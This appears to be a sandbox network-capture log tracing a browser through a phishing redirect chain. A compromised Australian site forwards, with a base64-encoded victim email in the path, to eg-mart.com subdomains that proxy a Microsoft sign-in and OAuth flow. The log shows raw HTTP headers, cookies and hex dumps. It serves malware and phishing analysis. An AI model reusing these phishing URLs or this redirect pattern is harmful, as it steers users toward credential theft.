2024-11-14 15:39:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.17	49707	163.47.73.97	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:26 UTC	885	OUT	GET /.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t HTTP/1.1 Host: stoneinstallations.net.au Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://stoneinstallations.net.au/.li/YWRhcnNoLm1hbGhvdHJhQGphdG8uY29t Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=6u6m3cmrgdfibn4ppg36gukj32; preload=1; CR=7; z1=zzz; brw=wedrvfalse
2024-11-14 15:39:28 UTC	472	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 14 Nov 2024 15:39:26 GMT Server: Apache X-Powered-By: PHP/5.5.38 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Upgrade: h2,h2c Connection: Upgrade, close Location: https://butter.mnrov.eg-mart.com/?c6tmIieee3BIGZZ4YWRhcnNoLm1hbGhvdHJhQGphdG8uY29thw7y8TM Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html
2024-11-14 15:39:28 UTC	7720	IN	Data Raw: 34 30 30 30 0d 0a 0d 0a 0d 0a 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 57 4a 44 55 64 6b 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 20 31 59 4c 41 31 59 5a 51 32 4d 58 43 52 54 53 58 36 43 4a 45 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 2f 3e 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 Data Ascii: 4000<!DOCTYPE html><html lang="en" WJDUdk><head> <meta charset="UTF-8"> <link rel="shortcut icon" href="data:image/x-icon;, 1YLA1YZQ2MXCRTSX6CJE" type="image/x-icon"> <meta http-equiv="X-UA-Compatible" content="IE=edge"/> <meta name="viewport" c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.17	49717	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:29 UTC	780	OUT	GET /?c6tmIieee3BIGZZ4YWRhcnNoLm1hbGhvdHJhQGphdG8uY29thw7y8TM HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://stoneinstallations.net.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:30 UTC	1346	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 157 Connection: close Cache-Control: no-store, no-cache Expires: -1 Location: https://butter1.mnrov.eg-mart.com/login# Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+SEC"}]} Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; expires=Sat, 14-Dec-2024 15:39:30 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; domain=.butter.mnrov.eg-mart.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Set-Cookie: stsservicecookie=estsfd; path=/; secure; samesite=none; httponly Vary: Accept-Encoding X-Ms-Ests-Server: 2.1.19343.4 - NEULR1 ProdSlices X-Ms-Request-Id: e07d76f9-bd30-4088-a01e-cf2171233700 X-Ms-Srs: 1.P
2024-11-14 15:39:30 UTC	157	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 62 75 74 74 65 72 31 2e 6d 6e 72 6f 76 2e 65 67 2d 6d 61 72 74 2e 63 6f 6d 2f 6c 6f 67 69 6e 23 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 68 32 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="https://butter1.mnrov.eg-mart.com/login#">here</a>.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.17	49718	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:31 UTC	730	OUT	GET /login HTTP/1.1 Host: butter1.mnrov.eg-mart.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://stoneinstallations.net.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:31 UTC	2173	IN	HTTP/1.1 302 Found Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Content-Encoding: gzip Location: https://butter.mnrov.eg-mart.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 Referrer-Policy: strict-origin-when-cross-origin Request-Context: appId= Set-Cookie: OH.DCAffinity=OH-weu; expires=Thu, 14 Nov 2024 23:39:31 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.FLID=94b779cc-4f6d-4222-b2ab-c5cca4d07318; expires=Fri, 14 Nov 2025 15:39:31 GMT; path=/; secure; samesite=none; httponly Set-Cookie: OH.SID=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/ Set-Cookie: .AspNetCore.OpenIdConnect.Nonce.pQSar0iDiVd50qyojvgkA0z2hx5_hdV7QteWp7QsL5G1eEUZgGZJvpg5_dXdqa5Bsrwnk3f0-r980gTVDmfLMLc7WTlItpNN9AeFLw44OsGblT09-fMyGzsnt-XI38Swk0lmk6U7LdJbXwSoQT07BE3cULNbhSJJW2bGs8NYdjbVM0QBXJp7oWAQXEx1jQC9aAZDORBRgEL3HefvNqbfsQ_L-J84f1YlEuCW1UR3_bAbqN2z1DULzIsoP93x7cuC=N; expires=Thu, 14 Nov 2024 15:54:31 GMT; path=/; secure; samesite=none; httponly Set-Cookie: .AspNetCore.Correlation.1DJwm-QhysyS8yHLUzhD_BcIutroHJu7N1zyIpKy8JM=N; expires=Thu, 14 Nov 2024 15:54:31 GMT; path=/; secure; samesite=none; httponly Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE X-Msedge-Ref: Ref A: 43A8548A9EB54579894985033DBBF2DB Ref B: AMS231032605037 Ref C: 2024-11-14T15:39:31Z X-Ua-Compatible: IE=edge,chrome=1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.17	49719	78.138.9.37	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:33 UTC	1842	OUT	GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fbutter1.mnrov.eg-mart.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638671955718237263.Mjk1MjhmMmQtYjE5NS00NGY1LTk4MzctZjFmOGMyNGI2ODZlMDViMDA3N2UtMTM0NS00YWVjLThkMzItZDVjNzVhMjUzZDA1&ui_locales=en-US&mkt=en-US&client-request-id=e4f51108-acbb-4b9c-b0ce-ee6009dc8e5b&state=t82KkN8qSrLC6URXxGdzdwPPGQUxDdOt5fnn77Wq5veWYrdD5gSLye_fXugX7AJv4pVjGGaVtiId25gWUs030S8Snr3gZnLbSN5zloepdfeyXTGHFWSy_eGGX39tvs6ekIfTwQckHIIpk2_MS0S8xCi-n_C4zK5mHoeSLQ4csVqknL3jgiLITpmCclwc0UP5vb_wyujPGMgfu5A7gZfAikeeqmGxZVMltiL0lAVKjWGhLI4Gi2BoZA4veN99aKaw20VhNhws6kXcS91LRbNWfA&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0 HTTP/1.1 Host: butter.mnrov.eg-mart.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://stoneinstallations.net.au/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFehMDaCkEHJl95iOF4C7Xrda9-Or67sheJVn3EqkqYpyngYlw0bzdzpioEF9Q5o2bpLoZncUAvtbzveH4ataKofBSioXhkodH8o-RC8NzTHs9chMs6fGLfMCQ9lN3Qj63_TpVxqMlgeHA-OmWdSce9UEYylKKjmZuk1x2spTgANvMgAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd
2024-11-14 15:39:34 UTC	1234	IN	HTTP/1.1 200 OK Server: nginx/1.26.2 Date: Thu, 14 Nov 2024 15:39:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-store, no-cache Expires: -1 Nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0} P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Report-To: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://identity.nel.measure.office.net/api/report?catId=GW+estsfd+SEC"}]} Set-Cookie: esctx-JanPB47Zzx4=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeOgrWZOqrQ1uFsg9pHwAYLs57srf2d6Kdd__WOjYP9hSZswfxwnfgz3MfCVmDjmamp4lAtnhHdXZyQD8DNgUm_YOhIfeFzs65Pfop03rao2y7IEPZ8iZeP6MdwidpoY9qTKIXS1kzQOU-R5DFBU4bvSAA; domain=.butter.mnrov.eg-mart.com; path=/; secure; HttpOnly; SameSite=None Set-Cookie: fpc=As8-FCUdWYJOniJMOE9eVDI; expires=Sat, 14-Dec-2024 15:39:33 GMT; path=/; secure; HttpOnly; SameSite=None Set-Cookie: x-ms-gateway-slice=estsfd; path=/; secure; samesite=none; httponly Vary: Accept-Encoding X-Ms-Clitelem: 1,50168,0,, X-Ms-Ests-Server: 2.1.19343.4 - FRC ProdSlices X-Ms-Request-Id: 966f99cc-aaa5-4f87-a23b-17d60d841e01 X-Ms-Srs: 1.P
2024-11-14 15:39:34 UTC	15150	IN	Data Raw: 62 37 33 0d 0a 0d 0a 0d 0a 3c 21 2d 2d 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 20 2d 2d 3e 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 Data Ascii: b73... Copyright (C) Microsoft Corporation. All rights reserved. --><!DOCTYPE html><html><head> <title>Redirecting</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta http-equiv="X-UA-Compatible" c
2024-11-14 15:39:34 UTC	7079	IN	Data Raw: 6e 20 76 6f 69 64 20 74 28 29 7d 6d 2e 77 68 65 6e 28 22 24 57 65 62 57 61 74 73 6f 6e 2e 66 75 6c 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 3b 62 2e 6c 65 6e 67 74 68 3e 30 3b 29 7b 76 61 72 20 65 3d 62 2e 73 68 69 66 74 28 29 3b 65 26 26 76 2e 24 57 65 62 57 61 74 73 6f 6e 5b 65 2e 63 6d 64 4e 61 6d 65 5d 2e 61 70 70 6c 79 28 76 2e 24 57 65 62 57 61 74 73 6f 6e 2c 65 2e 61 72 67 73 29 7d 7d 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 69 66 28 21 76 2e 24 57 65 62 57 61 74 73 6f 6e 7c 7c 76 2e 24 57 65 62 57 61 74 73 6f 6e 2e 69 73 50 72 6f 78 79 29 7b 69 66 28 21 77 26 26 4a 53 4f 4e 29 7b 74 72 79 7b 76 61 72 20 65 3d 6e 65 77 20 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 3b 65 2e 6f 70 65 6e 28 22 50 4f 53 54 22 2c 79 2e 75 72 6c 29 2c Data Ascii: n void t()}m.when("$WebWatson.full",function(){for(;b.length>0;){var e=b.shift();e&&v.$WebWatson[e.cmdName].apply(v.$WebWatson,e.args)}})}}function t(){if(!v.$WebWatson\|\|v.$WebWatson.isProxy){if(!w&&JSON){try{var e=new XMLHttpRequest;e.open("POST",y.url),

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.17	49720	152.199.21.175	443	7144	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 15:39:35 UTC	633	OUT	GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://butter.mnrov.eg-mart.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://butter.mnrov.eg-mart.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-14 15:39:35 UTC	750	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 3679001 Cache-Control: public, max-age=31536000 Content-MD5: m5bMCfnonQM0ui+8IrUZeg== Content-Type: application/x-javascript Date: Thu, 14 Nov 2024 15:39:35 GMT Etag: 0x8DCE31CBE97473C Last-Modified: Wed, 02 Oct 2024 19:59:37 GMT Server: ECAcc (lhc/78AB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: fb7c97c3-801e-0062-1535-154340000000 x-ms-version: 2009-09-19 Content-Length: 142367 Connection: close
2024-11-14 15:39:35 UTC	16383	IN	Data Raw: 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 72 64 20 50 61 72 74 79 20 49 50 29 2e 20 54 68 65 20 6f 72 69 67 69 6e 61 6c 20 63 6f 70 79 72 69 67 68 74 20 6e 6f 74 69 63 65 20 61 Data Ascii: /! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Third Party IP). The original copyright notice a
2024-11-14 15:39:35 UTC	16383	IN	Data Raw: 29 29 7d 66 6f 72 28 76 61 72 20 6f 3d 30 3b 6f 3c 74 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 6f 5d 2e 73 70 6c 69 74 28 22 2c 22 29 2e 6d 61 70 28 4e 75 6d 62 65 72 29 2c 61 3d 69 5b 30 5d 2c 73 3d 69 5b 31 5d 2c 75 3d 69 5b 32 5d 3b 69 66 28 72 28 65 2c 61 2c 73 2c 75 29 29 72 65 74 75 72 6e 21 30 7d 72 65 74 75 72 6e 21 21 6c 2e 66 69 72 73 74 28 6e 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 3d 3d 65 2e 74 72 69 6d 28 29 7d 29 29 7d 69 66 28 5f 2e 69 73 48 69 67 68 43 6f 6e 74 72 61 73 74 28 29 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 62 6f 64 79 22 29 5b 30 5d 2c 6e 3d 5f 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 74 Data Ascii: ))}for(var o=0;o<t.length;o++){var i=t[o].split(",").map(Number),a=i[0],s=i[1],u=i[2];if(r(e,a,s,u))return!0}return!!l.first(n,(function(t){return t===e.trim()}))}if(_.isHighContrast()){var t=document.getElementsByTagName("body")[0],n=_.getComputedStyle(t
2024-11-14 15:39:35 UTC	2	IN	Data Raw: 50 50 Data Ascii: PP
2024-11-14 15:39:35 UTC	16383	IN	Data Raw: 5f 45 5f 4e 41 4d 45 5f 54 4f 4f 5f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 30 31 22 2c 50 50 5f 45 5f 4e 41 4d 45 5f 49 4e 56 41 4c 49 44 3a 22 38 30 30 34 31 31 30 33 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 41 52 47 3a 22 38 30 30 34 38 33 38 38 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 53 48 4f 52 54 3a 22 38 30 30 34 31 31 32 30 22 2c 50 50 5f 45 5f 53 41 5f 54 4f 4f 4c 4f 4e 47 3a 22 38 30 30 34 31 31 32 31 22 2c 50 50 5f 45 5f 49 4e 56 41 4c 49 44 5f 50 48 4f 4e 45 4e 55 4d 42 45 52 3a 22 38 30 30 34 31 31 33 46 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 51 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 41 3a 22 38 30 30 34 31 31 36 35 22 2c 50 50 5f 45 5f 53 45 43 52 45 54 41 5f 43 4f 4e 54 41 49 4e 53 5f 53 45 43 52 45 54 51 3a 22 38 30 30 34 31 31 37 Data Ascii: _E_NAME_TOO_SHORT:"80041101",PP_E_NAME_INVALID:"80041103",PP_E_INVALIDARG:"80048388",PP_E_SA_TOOSHORT:"80041120",PP_E_SA_TOOLONG:"80041121",PP_E_INVALID_PHONENUMBER:"8004113F",PP_E_SECRETQ_CONTAINS_SECRETA:"80041165",PP_E_SECRETA_CONTAINS_SECRETQ:"8004117
2024-11-14 15:39:36 UTC	16383	IN	Data Raw: 55 49 45 76 65 6e 74 73 22 5d 3d 5b 22 6b 65 79 75 70 22 2c 22 6b 65 79 64 6f 77 6e 22 2c 22 6b 65 79 70 72 65 73 73 22 5d 2c 70 2e 4d 6f 75 73 65 45 76 65 6e 74 73 3d 22 63 6c 69 63 6b 20 64 62 6c 63 6c 69 63 6b 20 6d 6f 75 73 65 64 6f 77 6e 20 6d 6f 75 73 65 75 70 20 6d 6f 75 73 65 6d 6f 76 65 20 6d 6f 75 73 65 6f 76 65 72 20 6d 6f 75 73 65 6f 75 74 20 6d 6f 75 73 65 65 6e 74 65 72 20 6d 6f 75 73 65 6c 65 61 76 65 22 2e 73 70 6c 69 74 28 22 20 22 29 2c 65 28 70 2c 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 2e 6c 65 6e 67 74 68 29 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 74 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 68 5b 74 5b 6e 5d 5d 3d 65 7d 29 29 3b 76 61 72 20 67 2c 6d 3d 7b 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 3a 21 30 7d Data Ascii: UIEvents"]=["keyup","keydown","keypress"],p.MouseEvents="click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave".split(" "),e(p,(function(e,t){if(t.length)for(var n=0,r=t.length;n<r;n++)h[t[n]]=e}));var g,m={propertychange:!0}
2024-11-14 15:39:36 UTC	16383	IN	Data Raw: 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 2e 6f 7d 7d 7d 28 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 22 2c 53 2e 53 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 43 6f 75 6e 74 22 2c 53 2e 53 2e 71 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 67 65 74 44 65 70 65 6e 64 65 6e 63 69 65 73 22 2c 53 2e 53 2e 56 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 69 73 49 6e 69 74 69 61 6c 22 2c 53 2e 53 2e 59 61 29 2c 53 2e 62 28 22 63 6f 6d 70 75 74 65 64 43 6f 6e 74 65 78 74 2e 72 65 67 69 73 74 65 72 44 65 70 65 6e 64 65 6e 63 79 22 2c 53 2e 53 2e 63 63 29 2c 53 2e 62 28 22 69 67 6e Data Ascii: o:function(){if(n)return n.o}}}(),S.b("computedContext",S.S),S.b("computedContext.getDependenciesCount",S.S.qa),S.b("computedContext.getDependencies",S.S.Va),S.b("computedContext.isInitial",S.S.Ya),S.b("computedContext.registerDependency",S.S.cc),S.b("ign
